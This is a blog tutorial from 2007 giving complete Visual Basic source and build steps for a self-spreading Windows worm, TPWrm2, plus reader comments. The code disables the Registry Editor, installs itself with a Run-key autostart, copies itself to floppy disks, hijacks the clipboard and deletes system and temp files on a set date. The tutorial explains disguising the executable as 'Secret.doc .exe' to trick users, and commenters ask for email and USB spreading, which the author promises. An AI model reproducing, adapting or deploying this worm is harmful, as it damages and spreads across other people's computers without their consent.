Worm Programming (again!!)
Written on June 5, 2007 by admin
This worm name is TPWrm2 (TutorialsPortal Worm 2), a worm that smarter than TPWrm1 because has WSH (Windows Scripting Host) for registry manipulate or for detect special folder in Windows operating system, and prevent user from running Registry Editor. Because of that, this worm can infect Windows 9x, ME, NT, 2000, and XP.
Algorithm
1. This worm using Word icon to fraud user.
2. Checking worm existence in a certain computer system.
3. If worm doesn’t find it existence, this worm will copying itself to System Windows folder and manipulate the registry for automatic run this worm every windows start.
4. Every 1 minute try to copying itself to floppy disk with file name “lieke.exeâ€
5. Every user Paste sentences, word, or anything, this worm will change the sentence to “Love Lieke So Much…â€
6. Every 13th October, this worm will show “TPWrm2 is in your computerâ€, delete all files with tmp extension in Windows folder, and stop all worm activity on that day.
Coding
Create new project, change Project Name to TPWrm2, on Make tab, change Application Title to TPWrm2, on Compile tab, set Compile to P-Code.
Add 2 Timer, and change properties for each Timer and form with:
Form1
Name: frmTPWrm2
Icon: (icon)
ShowInTaskbar: False
Visible: False
Timer1
Name: tmrTPWrm2
Enable: True
Interval: 60000
Timer2
Name: tmrLieke
Enable: True
Interval: 1000
Write this code:
-
'TPWrm2 By -RiE- @ tutorialsportal.com
-
'Bogor, West Java, Indonesia
-
Option Explicit
-
-
Private Sub Form_Load()
-
On Error Resume Next
-
If App.PrevInstance = True Then End
-
Call RegDisable
-
Call InfectSystem
-
If App.Path = "A:\" Or App.Path = "B:\" Then
-
Unload Me
-
End If
-
End Sub
-
-
Private Sub tmrLieke_Timer()
-
On Error Resume Next
-
Clipboard.Clear
-
Clipboard.SetText " Love Lieke So Much... "
-
End Sub
-
-
Private Sub tmrTPWrm2_Timer()
-
On Error Resume Next
-
Call InfectFloppy
-
If Day(Now) = 13 And Month(Now) = 10 Then
-
Call PayLoad
-
Unload Me
-
End If
-
End Sub
-
-
Function RegString(HiveAndKey As String, Value As String)
-
Dim newbie As Variant
-
Set newbie = CreateObject("Wscript.Shell")
-
newbie.regwrite HiveAndKey, Value
-
End Function
-
-
Function RegDword(HiveAndKey As String, Value As Integer)
-
Dim newbie As Variant
-
Set newbie = CreateObject("Wscript.Shell")
-
newbie.regwrite HiveAndKey, Value, "REG_DWORD"
-
End Function
-
-
Private Sub RegDisable()
-
On Error Resume Next
-
RegDword "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\" & _
-
"System\DisableRegistryTools", 1
-
End Sub
-
-
Private Sub InfectSystem()
-
On Error Resume Next
-
Dim kiddie As Variant
-
Dim sysfolder As Object
-
Set kiddie = CreateObject("scripting.filesystemobject")
-
Set sysfolder = kiddie.GetSpecialFolder(1)
-
FileCopy WormFile, sysfolder & "\" & "winfake.exe"
-
RegString "HKLM\Software\Microsoft\Windows\CurrentVersio" & _
-
"n\Run\windll", sysfolder & "\" & "winfake.exe"
-
End Sub
-
-
Private Sub InfectFloppy()
-
On Error Resume Next
-
If Len(Dir$("A:\lieke.exe")) = 0 Then
-
FileCopy WormFile, "A:\lieke.exe"
-
End If
-
End Sub
-
-
Private Sub PayLoad()
-
On Error Resume Next
-
Dim kiddie As Variant
-
Dim winfolder, sysfolder, tmpfolder As Object
-
Set kiddie = CreateObject("scripting.filesystemobject")
-
Set winfolder = kiddie.GetSpecialFolder(0)
-
Set sysfolder = kiddie.GetSpecialFolder(1)
-
Set tmpfolder = kiddie.GetSpecialFolder(2)
-
Kill winfolder & "\" & "*.tmp"
-
Kill sysfolder & "\" & "*.bak"
-
Kill tmpfolder & "\" & "*.*"
-
MsgBox "TPWrm2 is in your computer..!"
-
End Sub
-
-
Private Function WormFile()
-
Dim WPath, WName As String
-
WPath = App.Path
-
If Right(WPath, 1) <> "\" Then
-
WPath = WPath & "\"
-
End If
-
WName = App.EXEName & ".exe"
-
WormFile = WPath & WName
-
End Function
Compile this project, File > Make TPWrm2 > in File Name type "Secret.doc .exe"
We use Secret.doc .exe as file name because if user see this file in Windows Explorer, they think that 'Secret' is Word document and will execute this worm. Social Engineering right??

Source Code Description
-
'TPWrm2 By -RiE- @ tutorialsportal.com
-
'Bogor, West Java, Indonesia
-
Option Explicit
-
-
Private Sub Form_Load()
-
On Error Resume Next
-
If App.PrevInstance = True Then End
-
Call RegDisable
-
Call InfectSystem
-
If App.Path = "A:\" Or App.Path = "B:\" Then
-
Unload Me
-
End If
-
End Sub
Call RegDisable mean execute RegDisable procedure and statement Call InfectSystem mean execute InfectSystem procedure.
If main file locate in drive A or B, then kill main process.
-
Private Sub tmrLieke_Timer()
-
On Error Resume Next
-
Clipboard.Clear
-
Clipboard.SetText " Love Lieke So Much... "
-
End Sub
Clipboard.Clear is for clearing data from Clipboard, then next statement mean insert "Love Lieke So Much..." to the clipboard.
-
Private Sub tmrTPWrm2_Timer()
-
On Error Resume Next
-
Call InfectFloppy
-
If Day(Now) = 13 And Month(Now) = 10 Then
-
Call PayLoad
-
Unload Me
-
End If
-
End Sub
Every 60000 or 60 second, execute InfectFloppy procedure, then if date and month is 13th October, execute PayLoad procedure and kill worm process.
-
Function RegString(HiveAndKey As String, Value As String)
-
Dim newbie As Variant
-
Set newbie = CreateObject("Wscript.Shell")
-
newbie.regwrite HiveAndKey, Value
-
End Function
-
-
Function RegDword(HiveAndKey As String, Value As Integer)
-
Dim newbie As Variant
-
Set newbie = CreateObject("Wscript.Shell")
-
newbie.regwrite HiveAndKey, Value, "REG_DWORD"
-
End Function
This function is Windows Script Host (WSH) that will access registry to add key and value. RegString function is to add value and key (REG_SZ) and RedDword is to add value and key (REG_DWORD)
-
Private Sub RegDisable()
-
On Error Resume Next
-
RegDword "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\" & _
-
"System\DisableRegistryTools", 1
-
End Sub
RegDisable procedure execute RedDword function to add: HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools with value:1
-
Private Sub InfectSystem()
-
On Error Resume Next
-
Dim kiddie As Variant
-
Dim sysfolder As Object
-
Set kiddie = CreateObject("scripting.filesystemobject")
-
Set sysfolder = kiddie.GetSpecialFolder(1)
-
FileCopy WormFile, sysfolder & "\" & "winfake.exe"
-
RegString "HKLM\Software\Microsoft\Windows\CurrentVersio" & _
-
"n\Run\windll", sysfolder & "\" & "winfake.exe"
-
End Sub
InfectSystem procedure use system object to get Special Folder in Windows. In this worm Special Folder 1 or System Windows folder, then copy itself to System Windows folder with name "winfake.exe".
This procedure execute RegString function to add HKLM\Microsoft\Windows\CurrentVersion\Run\windll with value System Windows and winfake.exe. This key is usefull to execute winfake.exe every startup.
-
Private Sub InfectFloppy()
-
On Error Resume Next
-
If Len(Dir$("A:\lieke.exe")) = 0 Then
-
FileCopy WormFile, "A:\lieke.exe"
-
End If
-
End Sub
This procedure will copy worm to drive A with name "lieke.exe"
-
Private Sub PayLoad()
-
On Error Resume Next
-
Dim kiddie As Variant
-
Dim winfolder, sysfolder, tmpfolder As Object
-
Set kiddie = CreateObject("scripting.filesystemobject")
-
Set winfolder = kiddie.GetSpecialFolder(0)
-
Set sysfolder = kiddie.GetSpecialFolder(1)
-
Set tmpfolder = kiddie.GetSpecialFolder(2)
-
Kill winfolder & "\" & "*.tmp"
-
Kill sysfolder & "\" & "*.bak"
-
Kill tmpfolder & "\" & "*.*"
-
MsgBox "TPWrm2 is in your computer..!"
-
End Sub
PayLoad procedure use file system object to get special folder 0 or Windows folder, special folder1 or System Windows folder, and special folder2 or Temporary folder, then delete all file with 'tmp' extension in Windows folder, all file with 'bak' extension in System Windows, and all file in Temporary folder. Then, worm will show "TPWrm2 is in your computer..!"
-
Private Function WormFile()
-
Dim WPath, WName As String
-
WPath = App.Path
-
If Right(WPath, 1) <> "\" Then
-
WPath = WPath & "\"
-
End If
-
WName = App.EXEName & ".exe"
-
WormFile = WPath & WName
-
End Function
WormFile function is to get full path to main file.



[…] is same with previous tutorial […]
this is realy cool.
im only just learning vb to make viruses.
im not very experienced and im having a hard time learning the script.
i hav 2 questions.
1) all the Kill winfolder & “\” & “*.tmp” and Kill sysfolder & “\” & “*.bak”, can they be maliciouse to my computer while i am testing the virus?
2) could you write a script that emters outlook express and posts the virus to all the people in the contact book?
thnx
thanks harry
1. yes of course, so I recommended you to install deep freeze before or use virtual pc
2. yes, i will write it soon
few!
i was about to run it and screw up my computer
thanx, nice save
lol
hi there i don’t know why but when i click on Compile this project, File > Make TPWrm2 > in File Name type “Secret.doc .exe” it appers
compile error
“syntax error”
need help
plz write as soon as possible
my xp version is in portuguese may it be because of that
detected by mcafee and kaspersky
how can i design a virus that starts running when I open the flash disk assuming that the virus is contained in the flash?
please help. send reply to mahethere@yahoo.com